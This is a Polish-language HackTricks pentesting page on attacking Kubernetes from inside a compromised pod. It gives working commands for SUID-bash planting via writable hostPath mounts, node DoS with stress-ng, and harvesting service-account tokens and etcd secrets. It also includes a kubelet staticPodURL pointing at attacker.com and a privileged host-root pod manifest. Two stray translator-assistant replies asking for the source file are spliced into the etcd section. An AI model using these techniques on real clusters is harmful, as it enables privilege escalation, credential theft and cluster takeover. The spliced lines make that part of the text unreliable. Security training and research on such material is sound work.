Atak na Kubernetes z wnętrza Pod

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Pod Breakout

Jeśli będziesz miał szczęście, możesz z niego uciec na node:

Ucieczka z pod

Aby spróbować uciec z podów, może być konieczne najpierw escalate privileges — oto kilka technik:

Linux Privilege Escalation - HackTricks

Możesz sprawdzić te docker breakouts to try to escape, aby spróbować uciec z opanowanego poda:

Docker Breakout / Privilege Escalation - HackTricks

Nadużywanie zapisywalnych hostPath/bind mounts (container -> host root via SUID planting)

Jeśli opanowany pod/container ma zapisywalny wolumin, który mapuje się bezpośrednio do systemu plików hosta (Kubernetes hostPath lub Docker bind mount), i możesz zostać rootem wewnątrz container, możesz użyć tego mounta do utworzenia binarki setuid-root na hoście, a następnie uruchomić ją na hoście, aby zdobyć root.

Kluczowe warunki:

  • Zamontowany wolumin jest zapisywalny z wnętrza container (readOnly: false i uprawnienia systemu plików pozwalają na zapis).
  • System plików hosta obsługujący ten mount nie jest zamontowany z opcją nosuid.
  • Masz sposób na wykonanie zasadzonych binarek na hoście (np. osobne SSH/RCE na hoście, użytkownik na hoście może je wykonać, lub inny wektor uruchamiający binarki z tej ścieżki).

Jak zidentyfikować zapisywalne hostPath/bind mounts:

  • Za pomocą kubectl sprawdź hostPath volumes: kubectl get pod -o jsonpath=‘{.spec.volumes[*].hostPath.path}’
  • Z wnętrza container, wyświetl listę mountów i poszukaj host-path mountów oraz przetestuj zapisywalność:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Umieść setuid root binary z containera:

# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Wykonaj na hoście, aby uzyskać root:

# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notes and troubleshooting:

  • If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep ) and look for nosuid.
  • If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
  • This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.

Nadużywanie uprawnień w Kubernetes

Jak wyjaśniono w sekcji o kubernetes enumeration:

Kubernetes Enumeration

Zwykle pods są uruchamiane z service account token wewnątrz nich. Ten service account może mieć przypisane pewne privileges, które możesz abuse, aby przenieść się do innych pods lub nawet escape na nodes skonfigurowane w clusterze. Zobacz jak w:

Abusing Roles/ClusterRoles in Kubernetes

Nadużywanie uprawnień w chmurze

Jeśli pod jest uruchamiany wewnątrz cloud environment, możesz być w stanie leak a token from the metadata endpoint i eskalować uprawnienia przy jego użyciu.

Wyszukiwanie podatnych usług sieciowych

Ponieważ znajdujesz się wewnątrz Kubernetes environment, jeśli nie możesz eskalować uprawnień wykorzystując privileges bieżących pods i nie możesz escape z kontenera, powinieneś wyszukać potencjalne podatne usługi.

Services

W tym celu możesz spróbować pobrać wszystkie services środowiska kubernetes:

kubectl get svc --all-namespaces

Domyślnie Kubernetes używa płaskiego schematu sieciowego, co oznacza, że każdy pod/service w klastrze może komunikować się z innymi. namespaces w klastrze domyślnie nie mają żadnych ograniczeń bezpieczeństwa sieciowego. Każdy w namespace może komunikować się z innymi namespaces.

Skanowanie

Poniższy skrypt Bash (pochodzący z Kubernetes workshop) zainstaluje i przeskanuje zakresy IP klastra Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Pentesting Kubernetes Services

Sniffing

W przypadku, gdy skompromitowany pod uruchamia jakąś wrażliwą usługę, w której inne pody muszą się uwierzytelniać, możesz być w stanie uzyskać poświadczenia wysyłane z innych podów przez sniffing local communications.

Network Spoofing

Domyślnie techniki takie jak ARP spoofing (a dzięki temu DNS Spoofing) działają w sieci kubernetes. Następnie, wewnątrz poda, jeśli masz NET_RAW capability (która jest ustawiona domyślnie), będziesz w stanie wysyłać ręcznie przygotowane pakiety sieciowe i przeprowadzać MitM attacks via ARP Spoofing to all the pods running in the same node.\ Ponadto, jeśli złośliwy pod działa na tym samym nodzie co DNS Server, będziesz mógł przeprowadzić DNS Spoofing attack to all the pods in cluster.

Kubernetes Network Attacks

Node DoS

W manifestach Kubernetes często nie określa się zasobów ani nie stosuje zakresów limitów dla kontenerów. Jako atakujący możemy zużyć wszystkie zasoby na węźle, gdzie działa pod/deployment, pozbawić inne jednostki zasobów i spowodować DoS całego środowiska.

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Możesz zobaczyć różnicę między działaniem stress-ng a stanem po jego zakończeniu.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

Jeśli udało ci się escape from the container znajdziesz na nodzie kilka interesujących rzeczy:

  • Proces Container Runtime (Docker)
  • Więcej uruchomionych na nodzie pods/containers, które możesz wykorzystać tak jak ten (więcej tokenów)
  • Cały filesystem i OS w ogóle
  • Usługa Kube-Proxy nasłuchująca
  • Usługa Kubelet nasłuchująca. Sprawdź pliki konfiguracyjne:
  • Katalog: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf –> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • Inne typowe pliki Kubernetes:
  • $HOME/.kube/config - User Config
  • /etc/kubernetes/kubelet.conf - Regular Config
  • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap Config
  • /etc/kubernetes/manifests/etcd.yaml - etcd Configuration
  • /etc/kubernetes/pki - Kubernetes Key

Znajdź kubeconfig nodu

Jeśli nie możesz znaleźć pliku kubeconfig w jednej z wcześniej wymienionych ścieżek, sprawdź argument --kubeconfig procesu kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Wykradanie sekretów

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Skrypt can-they.sh automatycznie pobierze tokeny innych podów i sprawdzi, czy mają uprawnienia, których szukasz (zamiast sprawdzać po jednym):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Uprzywilejowane DaemonSety

DaemonSet to pod, który zostanie uruchomiony we wszystkich nodes klastra. W związku z tym, jeśli DaemonSet jest skonfigurowany z privileged service account, we WSZYSTKICH nodes będziesz w stanie znaleźć token tego privileged service account, którego możesz nadużyć.

Pivot do chmury

Jeśli klaster jest zarządzany przez usługę chmurową, zazwyczaj Node będzie miał inny dostęp do metadata endpoint niż Pod. Dlatego spróbuj uzyskać dostęp do metadata endpoint z poziomu Node (lub z pod z hostNetwork ustawionym na True):

Kubernetes Pivoting to Clouds

Ukradnij etcd

Jeśli możesz określić nodeName Node’a, który uruchomi kontener, otwórz shell wewnątrz control-plane node i pobierz etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Węzły control-plane mają role master, a w klastrach zarządzanych w chmurze nie będziesz w stanie uruchomić na nich niczego.

Odczyt sekretów z etcd 1

Jeśli możesz uruchomić swojego poda na węźle control-plane, używając selektora nodeName w specyfikacji poda, możesz mieć łatwy dostęp do bazy danych etcd, która zawiera całą konfigurację klastra, włącznie ze wszystkimi sekretami.

Poniżej znajduje się szybki i niedokładny sposób na wydobycie sekretów z etcd, jeśli działa ono na węźle control-plane, na którym się znajdujesz. Jeśli chcesz bardziej eleganckie rozwiązanie, które uruchamia poda z klientem etcd etcdctl i używa poświadczeń węzła control-plane do połączenia się z etcd, gdziekolwiek ono działa, zobacz this example manifest from @mauilion.

Sprawdź, czy etcd działa na węźle control-plane i sprawdź, gdzie znajduje się baza danych (To dotyczy klastra utworzonego przez kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

I don’t have access to that file. Please paste the markdown content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md here, and I’ll translate it to Polish, preserving code, tags, links and paths as you specified.

data-dir=/var/lib/etcd

Wyświetl dane w bazie danych etcd:

strings /var/lib/etcd/member/snap/db | less

Wydobądź tokens z bazy danych i pokaż service account name

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

To samo polecenie, ale kilka grepsów, aby zwrócić tylko domyślny token w namespace kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Proszę wkleić zawartość pliku src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md — przetłumaczę go zgodnie z wytycznymi.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Odczytaj sekrety z etcd 2 from here

  1. Utwórz snapshot bazy danych etcd. Sprawdź this script po więcej informacji.
  2. Przenieś snapshot etcd z węzła w preferowany sposób.
  3. Rozpakuj bazę danych:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Uruchom etcd na swojej lokalnej maszynie i ustaw, aby używał skradzionego snapshotu:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. Wymień wszystkie sekrety:
etcdctl get "" --prefix --keys-only | grep secret
  1. Pobierz sekrety:
etcdctl get /registry/secrets/default/my-secret

Trwałość Static/Mirrored Pods

Static Pods są zarządzane bezpośrednio przez demon kubelet na konkretnym nodzie, bez obserwacji ze strony API servera. W przeciwieństwie do Pods zarządzanych przez control plane (na przykład Deployment); zamiast tego kubelet watches each static Pod (i restartuje go, jeśli ulegnie awarii).

Dlatego static Pods są zawsze bound to one Kubelet na konkretnym nodzie.

The kubelet automatically tries to create a mirror Pod on the Kubernetes API server dla każdego static Pod. Oznacza to, że Pods uruchomione na nodzie są widoczne na API serverze, ale nie można nimi stamtąd sterować. Nazwy Podów będą miały sufiks z nazwą hosta noda poprzedzoną myślnikiem.

Caution

The spec of a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc. So you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).

Jeśli jesteś na hoście noda, możesz sprawić, że utworzy on static pod inside itself. To jest przydatne, ponieważ może pozwolić na create a pod in a different namespace jak na przykład kube-system.

In order to create a static pod, the docs are a great help. You basically need 2 things:

  • Configure the param --pod-manifest-path=/etc/kubernetes/manifests in the kubelet service, or in the kubelet config (staticPodPath) and restart the service
  • Create the definition on the pod definition in /etc/kubernetes/manifests

Another more stealth way would be to:

  • Modify the param staticPodURL from kubelet config file and set something like staticPodURL: http://attacker.com:8765/pod.yaml. This will make the kubelet process create a static pod getting the configuration from the indicated URL.

Example of pod configuration to create a privilege pod in kube-system taken from here:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Delete pods + unschedulable nodes

Jeśli atakujący ma skompromitowany node i potrafi usunąć pods na innych node’ach oraz uniemożliwić innym node’om uruchamianie pods, to pods zostaną ponownie uruchomione na skompromitowanym node i będzie mógł przechwycić tokens uruchamiane w nich.
For więcej informacji.

Automatyczne narzędzia

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks